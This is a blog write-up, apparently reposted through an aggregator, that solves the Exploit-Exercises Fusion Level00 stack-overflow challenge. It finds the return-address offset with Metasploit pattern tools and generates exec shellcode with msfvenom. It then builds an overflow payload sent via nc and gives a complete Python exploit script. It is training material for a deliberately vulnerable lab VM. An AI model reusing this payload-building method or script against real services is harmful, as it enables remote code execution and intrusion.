Quantcast
Channel: 程序人生 »代码疯子
Viewing all articles
Browse latest Browse all 59

Exploit-Exercises Fusion Level00

$
0
0

开始玩Exploit-Exercises的Fusion,这里面引入了一些保护机制的绕过,可以系统的做一下。Fusion Level00算是warmup,是一个简单的栈溢出场景,realpath函数的原型为char *realpath(const char *path, char *resolved_path),其将path中保存的路径字符串展开之后复制到resolved_path之中,这里由于resolved数组只有128个字节,而path有1000多个字节,因此这里会发生栈溢出。

Fusion Level00的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "../common/common.c"    
 
int fix_path(char *path)
{
  char resolved[128];
 
  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}
 
char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;
 
  printf("[debug] buffer is at 0x%08x :-)\n", buffer);
 
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
 
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
 
  fix_path(path);
 
  printf("trying to access %s\n", path);
 
  return path;
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  parse_http_request(); 
}

0×01. 定位返回地址覆盖偏移值
首先使用metasploit-framework的pattern_create.rb创建一个字符串用于定位返回地址的偏移值:

winson@kali:/usr/share/metasploit-framework/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

在Fusion机器上,必须先开启core dump设置,设置代码如下:

root@fusion:/opt/fusion/bin# ulimit -c unlimited
root@fusion:/opt/fusion/bin# echo 1 > /proc/sys/fs/suid_dumpable
root@fusion:/opt/fusion/bin# echo 'core.%e.%p' > /proc/sys/kernel/core_pattern

然后,通过nc远程发送数据进行测试:

root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag HTTP/1.1' + '\x90'*50" | nc 192.168.218.197 20000
[debug] buffer is at 0xbffff8f8 :-)

这时候,在Fusion的机器的根目录/下发现core文件,使用gdb进行调试:

root@fusion:/opt/fusion/bin# gdb level00 /core.level00.1602 
 
Reading symbols from /opt/fusion/bin/level00...done.
[New LWP 1602]
 
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()
(gdb) quit

这里EIP被覆盖为0×65413665,找到这个数据在字符串中的偏移值,发现偏移值为139:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x65413665
[*] Exact match at offset 139

0×02. 执行Shellcode
这里level00的UID为20000,因此生成一段创建文件的Shellcode进行测试,使用msfvenom创建一段Shellcode:(创建文件/tmp/foobar)

root@kali:/usr/share/metasploit-framework/tools# msfvenom -p linux/x86/exec -f py CMD="touch /tmp/foobar"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12"
buf += "\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70"
buf += "\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd"
buf += "\x80"

因为buffer的地址固定为0xbffff8f8,这里预留300字节的空间,用于存放填充字节、返回地址、NOP指令,有hex(0xbffff8f8+300) = 0xbffffa24,因此构造的攻击数据为:

root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /'+'A'*139+'\x24\xfa\xff\xbf'+' HTTP/1.1'+'\x90'*200+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80'" | nc 192.168.218.197 20000
[debug] buffer is at 0xbffff8f8 :-)

可以看到成功执行了Shellcode:

root@fusion:/tmp# ls -al
total 0
drwxrwxrwt 4 root  root  100 2014-11-24 22:17 .
drwxr-xr-x 1 root  root  260 2014-11-24 19:00 ..
-rw-r--r-- 1 20000 20000   0 2014-11-24 20:00 foobar
drwxrwxrwt 2 root  root   40 2014-11-24 18:57 .ICE-unix
drwxrwxrwt 2 root  root   40 2014-11-24 18:57 .X11-unix

0×03. 编写Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import socket
 
def pwn(ip, port):
    junk = 'A'*139
    ret = "\x24\xfa\xff\xbf"
    nops = '\x90'*200
    shellcode  = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
    shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00"
    shellcode += "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f"
    shellcode += "\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80"
    request = 'GET /' + junk + ret + ' HTTP/1.1' + nops + shellcode
 
    fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    fd.connect((ip, port))
    fd.sendall(request)
    fd.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        pwn(sys.argv[1], int(sys.argv[2]))

exploit-exercises fusion level00

0×04. Reference
https://www.mattandreko.com/2012/04/09/exploit-exercises-fusion-00/


本文地址: 程序人生 >> Exploit-Exercises Fusion Level00
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


Viewing all articles
Browse latest Browse all 59

Trending Articles